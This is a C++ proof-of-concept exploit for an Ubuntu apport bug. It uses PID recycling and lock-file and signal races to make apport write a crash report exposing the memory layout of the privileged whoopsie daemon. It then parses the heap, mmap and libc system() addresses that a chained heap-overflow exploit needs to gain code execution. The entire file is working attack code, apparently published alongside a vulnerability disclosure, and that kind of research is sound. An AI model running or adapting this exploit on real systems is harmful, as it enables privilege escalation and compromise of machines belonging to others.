#include <sys/inotify.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <spawn.h>
#include <string.h>
#include <string>
#include <iostream>
#include <set>
#include <ctime>
#include "utils.hpp"
#include "load_crash_report.hpp"
#include "encoding.h"
#include "whoopsie_exploit.hpp"

// Proof-of-concept for:
// "PID recycling enables an unprivileged user to generate and read a crash report for a privileged process"
// Bug report: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1839795
//
// PID recycling enables an unprivileged user to trick apport into
// generating a crash report containing the `/proc/[pids]/maps` belonging
// to a (newly started) privileged process. This PoC uses the vulnerability
// to obtain the ALSR offsets of the `whoopsie` process. The PID recycling
// vulnerability is chained with a heap buffer overflow vulnerability in
// whoopsie, to gain code execution as the whoopsie user. The exploit of
// the whoopsie bug is implemented in whoopsie_exploit.cpp.

const char whoopsie_cmdline[] = "/usr/bin/whoopsie\0-f";
const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport";

pid_t search_whoopsie_pid() {
  return search_pid(whoopsie_cmdline, sizeof(whoopsie_cmdline));
}

pid_t search_apport_pid() {
  return search_pid(apport_cmdline, sizeof(apport_cmdline));
}

// Do a `posix_spawn` of `/bin/sleep`.
pid_t spawn_sleep(char *const envp[] = 0) {
  char prog[] = "/bin/sleep";
  char arg[] = "120s";
  char *const argv[3] = {prog, arg, 0};
  pid_t cpid = 0;
  const int r = posix_spawn(&cpid, prog, 0, 0, argv, envp);
  if (r != 0) {
    throw ErrorWithErrno("posix_spawn failed.");
  }
  return cpid;
}

// Spawn `n` processes and immediately terminate them. The pids that were
// created (and subsequently recycled) are returned as a set.
std::set<pid_t> create_pid_set(size_t n) {
  std::set<pid_t> result;
  for (size_t i = 0; i < n; i++) {
    const pid_t cpid = spawn_sleep();
    kill_and_wait(cpid, SIGTERM);
    result.insert(cpid);
  }
  return result;
}

// The main function for running the exploit.
// Returns the value of new_whoopsie_pid - crash_pid. If this difference is
// zero then the exploit was successful. Otherwise, you need to retry.
ssize_t Main::runonce() {
  // whoopsie_pid_ will be set to a valid PID if we successfully obtain the
  // ASLR offsets.
  whoopsie_pid_ = -1;

  // A previous iteration might have left a crash report lying around.
  // Make sure it's deleted.
  unlink(whoopsie_aslr_crash_report_filename_.c_str());

  // Open /var/crash/.lock (which we created ourselves earlier).
  AutoCloseFD lockfile_fd(
    openat(AT_FDCWD, lock_path_, O_WRONLY | O_CLOEXEC, 0)
  );

  // Initialize inotify.
  const AutoCloseFD inotify_fd(inotify_init1(IN_NONBLOCK | IN_CLOEXEC));
  if (inotify_fd.get() < 0) {
    throw ErrorWithErrno("inotify_init1 failed");
  }

  // whoopsie doesn't start reading the `.crash` file until we create the
  // corresponding `.upload` file. It takes whoopsie something like 15
  // seconds to parse the crash file, so we can get this started now.
  // Meanwhile, we'll do some pid feng shui.
  touch_file(
    AT_FDCWD, upload_path_,
    S_IRUSR | S_IWUSR | S_IRGRP
  );

  // Get the pid of whoopsie, so that we can confirm later that whoopsie
  // has restarted by checking that its pid has changed.
  const pid_t old_whoopsie_pid = search_whoopsie_pid();
  std::cout << "old_whoopsie_pid = " << old_whoopsie_pid << "\n";

  // Lock the lock file to pause Apport when it starts up.
  if (lockf(lockfile_fd.get(), F_LOCK, 0) < 0) {
    throw ErrorWithErrno("Could not set lock.");
  }
  std::cout << "Lock is set.\n";

  // pid feng shui
  //
  // When the new whoopsie starts up, we want it to get the same pid as a
  // process which we are going to deliberately crash. This means that we
  // need to do some pid feng shui. On most Linux systems, pids are
  // allocated sequentially and wrap around when they get to 32768. Every
  // time we spawn a sub-process, the pid counter gets incremented. So we
  // are going to do this approximately 32000 times, terminating the
  // spawned process cleanly every time so that we just increment the pid
  // counter without actually exhausting the available pid pool. To
  // determine when we have almost wrapped around, we spawn off a number of
  // processes now (immediately before we spawn the process which we are
  // going to crash) and store their pids in a std::set. In fact we will
  // create two such sets.  The first set contains 100 pids. It's purpose
  // is just to detect when the pid counter has almost wrapped all the way
  // round. This leaves a buffer of 100 pids, just in case an unrelated
  // application like chrome decides to spawn off a few processes while we
  // are waiting for whoopsie to crash. We can then quickly iterate through
  // the last 100 pids at the last minute after whoopsie has crashed, so
  // this makes the exploit slightly more reliable.
  //
  // Unfortunately the size of the second set is not an exact science. It
  // is the number of processes which we expect will be spawned between
  // when Apport finishes generating the crash report for the old whoopsie
  // and when the new whoopsie starts up. This number is non-deterministic
  // because something like 15 /lib/systemd/systemd-udevd processes seem
  // to get forked at exactly the same time as the new whoopsie process is
  // started. This means that there is a race between whoopsie and the udev
  // processes to get a pid, which means that we cannot completely control
  // which pid whoopsie will get. So we have made `numpids` a command-line
  // parameter. numpids = 10 seems like a good default setting.
  const std::set<pid_t> pidset1(create_pid_set(100));
  const std::set<pid_t> pidset2(create_pid_set(numpids_));

  // Start the process which we are going to deliberately crash.
  pid_t crash_pid = spawn_sleep();
  std::cout << "crash_pid = " << crash_pid << "\n";

  // Crash the sleep process with a SEGV and wait for Apport to start.
  kill(crash_pid, SIGSEGV);
  add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT);
  fd_wait_for_read(inotify_fd.get());
  drain_fd(inotify_fd.get());
  std::cout << "sleep process has crashed.\n";

  // We need Apport's pid so that we can send it a signal later.
  const pid_t apport_pid = search_apport_pid();
  std::cout << "apport_pid = " << apport_pid << "\n";
  if (apport_pid < 0) {
    throw Error("Could not find apport PID.");
  }

  // Release the lock so that Apport can continue.
  close(lockfile_fd.get());
  std::cout << "Lock is unset.\n";

  // Repeatedly try to send Apport the STOP signal. This will succeed as
  // soon as it drops privileges, which happens immediately after Apport
  // has called get_pid_info().
  size_t spincount = 0;
  while (kill(apport_pid, SIGSTOP) < 0) {
    spincount++;
  }
  std::cout << "spincount = " << spincount << "\n";

  // Kill the sleep process so that its pid can be recycled.
  kill_and_wait(crash_pid, SIGKILL);

  {
    // Create a new lock file and replace the old lock file with it.  This
    // will enable two Apports to run at the same time which increases the
    // speed of the exploit. The problem that this solves is that the new
    // whoopsie cannot start until the old whoopsie process is completely
    // gone. But the old whoopsie process doesn't get cleaned up until Apport
    // has finished generating a crash report. And the second Apport gets
    // blocked because the first Apport is still holding the lock. The second
    // Apport will give up after 30 seconds due to the timeout logic in
    // check_lock(), but it's annoying to have to wait that long.
    AutoCloseFD lockfile_bak_fd(
      create_file(
        AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO
      )
    );

    // Replace the lock file so that the second Apport won't get blocked
    // waiting for the first. Note that this operation unlinks that old
    // lock file, but it is not deleted yet because we still have an
    // open file descriptor to it. This enables us to still do things like
    // setting a lock on the file even though it has already been removed
    // from the /var/crash directory.
    if (rename(lock_bak_path_, lock_path_) < 0) {
      throw ErrorWithErrno("Rename of /var/crash/.lock.bak failed.");
    }

    // Lock the new lock file to pause Apport when it starts up.
    if (lockf(lockfile_bak_fd.get(), F_LOCK, 0) < 0) {
      throw ErrorWithErrno("Could not set lock.");
    }
    std::cout << "Lock is set.\n";

    // Keep spawning processes until the pid counter has wrapped to where we
    // started.
    kill_and_wait(
      fork_child_with_pid(
        0x10000, // Number of tries
        [&pidset1](pid_t cpid) {
          return pidset1.find(cpid) != pidset1.end();
        }
      ),
      SIGTERM
    );

    // When whoopsie crashes, a second Apport will open the lock
    // file. That's the trigger for us to restart the first Apport.
    add_watch(inotify_fd.get(), lock_path_, IN_OPEN | IN_ONESHOT);
    fd_wait_for_read(inotify_fd.get());
    drain_fd(inotify_fd.get());
    std::cout << "whoopsie has crashed.\n";

    // Remove the upload file, so that the second whoopsie doesn't
    // crash too.
    unlinkat(AT_FDCWD, upload_path_, 0);

    // Keep spawning processes until the pid counter has wrapped to where
    // we started.
    kill_and_wait(
      fork_child_with_pid(
        0x10000, // Number of tries
        [&pidset2](pid_t cpid) {
          return pidset2.find(cpid) != pidset2.end();
        }
      ),
      SIGTERM
    );
  }

  // When the new whoopsie starts up, it opens `/var/lock/whoopsie`, so
  // we can detect this by using inotify.
  add_watch(inotify_fd.get(), whoopsie_lock_path_, IN_OPEN | IN_ONESHOT);
  fd_wait_for_read(inotify_fd.get());
  drain_fd(inotify_fd.get());

  const pid_t new_whoopsie_pid = search_whoopsie_pid();
  const ssize_t diff = new_whoopsie_pid - crash_pid;
  std::cout
    << "old_whoopsie_pid = " << old_whoopsie_pid << "\n"
    << "crash_pid = " << crash_pid << "\n"
    << "new_whoopsie_pid = " << new_whoopsie_pid << "\n"
    << "diff = " << diff << "\n";

  if (diff == 0) {
    // Give the new apport a chance to finish starting up. 20 seconds might
    // be overkill, but I have found that the exploit is unreliable with no
    // pause.
    sleep(20);

    // Set a watch on `~/.apport-ignore.xml`, so that we can pause Apport
    // before it starts writing the crash report. I have found that this
    // makes the exploit more reliable. The problem is that whoopsie is
    // monitoring `/var/crash` for the creation of new files, so it is
    // triggered when the crash report containing its ASLR offset is
    // written. I have found that if I let Apport run at full speed then
    // the events happen too fast and it affects the behavior of the
    // magazine allocator (`gslice.c`) in a way that prevents the exploit
    // from working. But if I use the dbus trick to pause Apport, then the
    // magazine allocator behaves the way I need for the exploit to work.
    add_watch(inotify_fd.get(), ignore_path_.c_str(), IN_OPEN | IN_ONESHOT);

    // Send SIGCONT to the first apport so that it will resume generating
    // the crash report. If we have succeeded in starting the new whoopsie
    // with the same pid as the process that crashed then Apport will
    // generate a crash report that includes the ASLR info for the new
    // whoopsie process.
    if (kill(apport_pid, SIGCONT) < 0) {
      throw ErrorWithErrno("Could not deliver SIGCONT to Apport.");
    }

    // Wait for Apport to access `~/.apport-ignore.xml`.
    fd_wait_for_read(inotify_fd.get());
    drain_fd(inotify_fd.get());

    // Pause Apport for a second.
    if (kill(apport_pid, SIGSTOP) < 0) {
      throw ErrorWithErrno("Could not deliver SIGSTOP to Apport.");
    }
    sleep(2);
    if (kill(apport_pid, SIGCONT) < 0) {
      throw ErrorWithErrno("Could not deliver SIGCONT to Apport.");
    }

    // Wait for two seconds to give Apport a chance to write the
    // crash report.
    sleep(2);

    whoopsie_pid_ = new_whoopsie_pid;
  } else {
    // We didn't land on the correct pid, so we don't want the
    // crash report. We also don't want to get a crash report
    // for some other random process, so it's better to kill
    // apport.
    if (kill(apport_pid, SIGKILL) < 0) {
      throw ErrorWithErrno("Could not deliver SIGKILL to Apport.");
    }
  }

  return diff;
}

// Run the exploit multiple times until it either succeeds or
// we run out of tries.
void Main::runmany() {
  ssize_t sum = 0;
  size_t count = 0;
  while (!shutdown_) {
    const ssize_t diff = runonce();
    sum += diff;
    count++;
    if (diff == 0) {
      std::cout
        << "***** Success after " << count << " tries!\n"
        << "Your whoopsie crash report is available in /var/crash.\n"
        << "Use apport-unpack to extract the Maps file.\n";
      break;
    }

    std::cout
      << "***** Unsuccessful after " << count << " tries. Retrying.\n\n";
  }

  const double average_error = double(sum) / double(count);
  std::cout
    << "Average pid error: " << average_error
    << " (Try adjusting 'numpids' by that amount next time).\n";

  // If we received a Ctrl-C, then this is a good time to shut down
  // cleanly.
  if (shutdown_) {
    throw Error("Shutdown requested.");
  }
}

void Main::parse_whoopsie_ASLR_offsets() {
  CrashReport report(
    loadCrashReport(whoopsie_aslr_crash_report_filename_.c_str())
  );
  auto pProcMaps = report.find(std::string("ProcMaps"));
  if (pProcMaps == report.end()) {
    throw Error("Could not find ProcMaps in report.");
  }

  // Use sscanf to parse the heap address offset and to confirm that
  // we are looking at the correct line.
  std::string& heapline = pProcMaps->second.at(3);
  size_t p = 0, q = 0, n = 0;
  const int r0 =
    sscanf(
      heapline.c_str(),
      "%lx-%lx rw-p %*s %*s %*s [heap]%ln",
      &p, &q, &n
    );
  if (r0 == 2 && n == heapline.size()) {
    source_lists_addr_ = p + 0x33d70;
    // Add the offset to the address of `glib_worker_context->source_lists`.
    std::cout
      << "&glib_worker_context->source_lists == "
      << (void*)source_lists_addr_ << "\n";
  } else {
    source_lists_addr_ = 0;
    std::cout << "Parsing heap address failed.\n";
  }

  // Use sscanf to parse the mmap address offset and to confirm that
  // we are looking at the correct line.
  std::string& mmapline = pProcMaps->second.at(4);
  p = 0, q = 0, n = 0;
  const int r1 =
    sscanf(
      mmapline.c_str(),
      "%lx-%lx rw-p %*s %*s %*s %ln",
      &p, &q, &n
    );
  if (r1 == 2 && n == mmapline.size()) {
    mmap_base_addr_ = p;
    std::cout << "mmap_base_addr_: " << (void*)mmap_base_addr_ << "\n";
  } else {
    mmap_base_addr_ = 0;
    std::cout << "Parsing mmap base address failed.\n";
  }

  // Search for glibc base address.
  for (size_t i = 0; i < pProcMaps->second.size(); i++) {
    std::string& libcline = pProcMaps->second.at(i);
    p = 0, q = 0, n = 0;
    const int r2 =
      sscanf(
        libcline.c_str(),
        "%lx-%lx r-xp %*s %*s %*s /lib/x86_64-linux-gnu/libc-2.27.so%ln",
        &p, &q, &n
      );
    if (r2 == 2 && n == libcline.size()) {
      system_addr_ = p + 0x4f440;
      std::cout << "system_addr_: " << (void*)system_addr_ << "\n";
      return;
    }
  }

  system_addr_ = 0;
  std::cout << "Parsing libc base address failed.\n";
}

// The parser in whoopsie rejects characters that are less than 0x20.
// This means that we use the heap overflow to write an address if
// one of its 6 bytes is less than 0x20.
bool addrHasLowBytes(size_t addr) {
  for (size_t i = 0; i < 6; i++, addr >>= 8) {
    unsigned char b = (addr & 0xFF);
    if (b < 0x20) {
      std::cout << "Invalid byte: " << (int)b << "\n";
      return true;
    }
  }
  return false;
}

// The 2GB string that gets copied into a malloc-ed buffer is
// terminated by a `\n` character. So the exploit will not work
// if one of the bytes of the address is '\n'.
bool addrHasNewlineChars(size_t addr) {
  for (size_t i = 0; i < 6; i++, addr >>= 8) {
    unsigned char b = (addr & 0xFF);
    if (b == '\n') {
      std::cout << "Newline character\n";
      return true;
    }
  }
  return false;
}

// Read the crash report to get the ASLR offsets for current whoopsie
// process. Return true if the offsets are suitable for exploitation.
// (There are restrictions on the bytes that we can include in the heap
// overflow.)
bool Main::isBadAddr() {
  char buf[sizeof(size_t)];

  if (addrHasNewlineChars(source_lists_addr_)) {
    return true;
  }

  if (addrHasNewlineChars(system_addr_)) {
    return true;
  }

  // We are going to replace the bottom 3 bytes of mmap_base_addr_, so
  // we don't need to check them.
  if (addrHasLowBytes(mmap_base_addr_ | 0xFFFFFF)) {
    return true;
  }

  // See if it's possible to convert the top 3 bytes of mmap_base_addr_ into
  // a valid UTF8 string.
  *(size_t*)&buf[0] = mmap_base_addr_;
  buf[2] = 0x21;
  if (!make_string_valid(&buf[2])) {
    std::cout << "modified mmap_base_addr_ (bad): "
              << (void*)*(size_t*)&buf[0] << "\n";
    return true;
  }

  std::cout << "modified mmap_base_addr_ (good):    "
            << (void*)*(size_t*)&buf[0] << "\n";

  // Check that we will also be able to construct the address
  // that the 2GB string will be malloc-ed at.
  malloc_string_addr_ = mmap_base_addr_ - 0x100000000;
  if (addrHasLowBytes(malloc_string_addr_ | 0xFFFFFF)) {
    return true;
  }

  // See if it's possible to convert the top 3 bytes of malloc_string_addr_ into
  // a valid UTF8 string.
  *(size_t*)&buf[0] = malloc_string_addr_;
  buf[0] = 0;
  buf[1] = 0x70;
  buf[2] = 0x21;
  if (!make_string_valid(&buf[2])) {
    std::cout << "modified malloc_string_addr_ (bad): "
              << (void*)*(size_t*)&buf[0] << "\n";
    return true;
  }

  malloc_string_addr_ = *(size_t*)&buf[0];
  std::cout << "modified malloc_string_addr_ (good): "
            << (void*)malloc_string_addr_ << "\n";

  return false;
}

void Main::runUntilGoodAddr() {
  size_t count = 0;
  do {
    std::cout << "****** runUntilGoodAddr: attempt " << count << "\n";
    count++;
    runmany();
    parse_whoopsie_ASLR_offsets();
  } while (isBadAddr());
}
